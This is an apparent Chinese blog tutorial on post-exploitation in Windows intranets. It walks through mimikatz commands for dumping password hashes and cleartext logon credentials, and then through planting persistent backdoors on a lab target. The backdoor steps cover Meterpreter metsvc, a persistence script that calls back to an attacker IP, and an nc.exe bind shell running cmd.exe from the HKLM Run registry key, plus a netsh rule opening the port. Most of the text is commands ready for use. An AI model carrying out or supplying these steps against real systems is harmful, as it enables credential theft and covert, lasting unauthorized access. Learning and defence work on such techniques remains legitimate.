• 内网渗透系列之mimikatz的使用以及后门植入


    内网渗透系列之mimikatz的使用以及后门植入

    前言

    内网渗透最重要的环节就是权限维持,当我们获取到靶机的权限后,当对方的机器关机后,我们所获取的会话也会跟着消失,也就是说当他重新开启后,我们又得重新进行信息收集,漏洞利用,又重复着上一个渗透的过程,工程量就很大了。所以,为了能一直维持着权限,我们需要进行权限的维持,保持着下一次靶机登录时,我只需要监听端口,就可以获取对方的shell了。这就是我们今天说的后门植入的内容了。

    mimikatz的使用

    讲解后门植入的内容之前,我们先简单介绍一下mimikatz的用法,实际场景中我们可以反弹shell到cs中进行横向移动,使用自带的提权和mimikatz的模块进行获取用户的密码。

    mimikatz的使用
    (使用规则是:必须是管理员或者system权限才可以使用)
    首先拿到会话以及system权限后,在加载插件
    load mimikatz
    help mimikatz

    msv(导出哈希值)
    用户名和密码哈希值

    wdigest
    直接获取的账号的明文密码

    kerberos信息
    也可以找出账号的明文密码

    原来的命令
    mimakatz_commend -h
    mimakatz_commend -f

    mimakatz_commend -f a::(写错误的指令,报出帮助信息)
    会出现各个模块,比如
    mimakatz_commend system::
    mimakatz_commend system::user

    获取哈希值
    mimakatz_commend samdump::hashes

    mimakatz_commend -f process::list(列出当前的进程信息)

    mimakatz_commend -f service::list(列出当前的服务进程)

    想在靶机上打开一个cmd的窗口,就输入
    mimakatz_commend -f nogpo::
    mimakatz_commend -f nogpo::cmd
    mimakatz_commend -f nogpo::regedit

    获取认证信息
    mimakatz_commend -f sekurlsa::
    mimakatz_commend -f sekurlsa::wdigest(获取明文信息)
    mimakatz_commend -f sekurlsa::logonPasswords(获取用户的登录密码)

    权限提升
    mimakatz_commend -f privilege::
    mimakatz_commend -f privilege::debug

    破解扫雷游戏
    mimakatz_commend -f minesweeper::infos

    后门植入

    msf永久后门植入

    讲解方法之前,我们先了解一下为什么要生成后门

    • 1.meterpretere shell运行与内存中,重启后失效
    • 2.避免重复性的渗透工作
    • 3.漏洞修复后仍旧可就维持控制

    两种方法生成后门:

    (1)Meterpreter后门:Metsvc

    通过服务启动

    进入会话后
    run metsvc -h
    run metsvc -A //设定端口,上传后门文件
    会在以下路径生成服务
    C:\Users\zhian2\AppData\Local\Temp\tjPfsdnGycGdiM

    这个服务是上传上去了,但没有显示在进程中,

    我来讲解一下步骤吧
    首先进入会话
    在这里插入图片描述
    在这里插入图片描述
    上传成功,我们到靶机上查看上传的文件
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    服务已启动,但是在win7上执行metsvc.exe执行不了。

    在这里我由于关掉了防火墙后uac,所以直接就get到system权限,之前得不到系统权限,是因为uac和防火墙的原因,所以想要提权的话,还是得绕过uac,或者直接上线cs,直接利用模块获取system的权限。

    (2)Meterpreter后门:Persistence

    通过启动型启动
    特性:定期回连,系统 启动是回连,自动运行
    Run persistence -A -S -U -i 20 -p 4321 -r 192.168.101.102

    Run persistence -A -X -i 20 -p 4321 -r 192.168.101.102
    (其中-A是生成的程序,-X是自动连接,-i是延时时间,-p是对应的端口,-r是kali的ip地址)

    在这里给大家介绍第二种方法,比较好用,重启之后还是可以回连会话的。我们来尝试一下,步骤如下:
    run persistence -A -X -i 20 -p 666 -r 192.168.101.102
    在这里插入图片描述background
    jobs
    过了20秒后又会返回一个会话
    在这里插入图片描述
    我们删掉进程后,过了20秒,他有返回了一个会话了
    sessions -k 9
    在这里插入图片描述
    我们就获得了system权限了
    在这里插入图片描述
    我们重启后,等待20秒,输入sessions查看会话,就会发现出现了新的会话了,或者再等一会,他自己就会回连一个会话了。
    在这里插入图片描述
    我们输入sessions -i 13,获取会话,getuid,getsystem,最终获得了system权限了。
    在这里插入图片描述

    NC后门

    我先把大概的步骤给大家看一下,接下来就要开始演示了。
    (3)NC后门
    上传nc
    Upload /rootnc.exe C:\windows\system32

    修改注册表

    1. 枚举注册表键值:
      reg enumkey -k HKLM\software\microsoft\windows\currentversion\run
    2. 在当前主键下增加一个nc 键值:
      reg setval -k HKLM\software\microsoft\windows\currentversion\run -v nc -d ‘C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe’
    3. 查看nc键值:
      reg queryval -k HKLM\software\microsoft\windows\currentversion\run -v nc

    设置防火墙

    1. 开启有一个cmd通道
      execute -f cmd -i -H
    2. 查看防火墙状态
      Netsh firewall show opmode
    3. 添加防火墙规则允许444端口通过
      netsh firewall add portopening TCP 444 “Service Firewall” ENABLE
    4. 查看端口状态
      Netsh firewall show portopening

    开始连接
    nc -v ip port

    具体步骤如下:
    首先在kali的桌面上传一个nc.exe,或者放在/home/zhian/nc.exe

    upload /home/zhian/nc.exe c:\windows\system32

    枚举注册表键值:

    reg enumkey -k HKLM\software\microsoft\windows\currentversion\run

    在当前主键下增加一个nc 键值:

    reg setval -k HKLM\software\microsoft\windows\currentversion\run -v nc -d ‘C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe’(-d表示要执行的内容)

    查看nc键值:

    reg queryval -k HKLM\software\microsoft\windows\currentversion\run -v nc

    在这里插入图片描述

    execute -f cmd -i -H(-H表示要开启一个cmd的窗口)
    在这里插入图片描述

    查看防火墙状态

    Netsh firewall show opmode

    添加防火墙规则允许444端口通过
    netsh firewall add portopening TCP 444 “Service Firewall” ENABLE

    查看端口状态

    Netsh firewall show portopening

    在这里插入图片描述
    我们重启win7后,进程中就出现了nc.exe的进程,我们只需要监听即可
    在这里插入图片描述
    在kali上输入nc 192.168.101.102 444,就返回shell了
    在这里插入图片描述
    实验到这里就结束了,后续有学习内网渗透方面的知识,会给大家更新的,大家要好好复习呀。

    后记

    这只是内网渗透的冰山一角,也只是权限维持的一部分。内网如果要更深入的话,会涉及很多横向移动,权限提升方面的知识。最常见的就是路由和代理配置的问题,在往期文章都有提及到,大家可以看看我往期写的文章,好好复习一下吧。

  • 相关阅读:
    Nokogiri库和OpenURI库使用HTTP做一个爬虫
    基于51单片机多功能防盗报警proteus仿真( proteus仿真+程序+设计报告+原理图+讲解视频)
    电路综合-基于简化实频的集总参数电路匹配1
    pandas入门 数据结构
    微服务框架 SpringCloud微服务架构 10 使用Docker 10.5 容器命令案例2
    顶级赛事:第十届CCF大数据与计算智能大赛开赛
    iOS 17.2更新:15Pro支持拍摄空间视频!
    【jvm】程序计数器
    go 语言的 数组
    Android学习笔记 63. 添加一个ScrollView
  • 原文地址:https://blog.csdn.net/lza20001103/article/details/126693586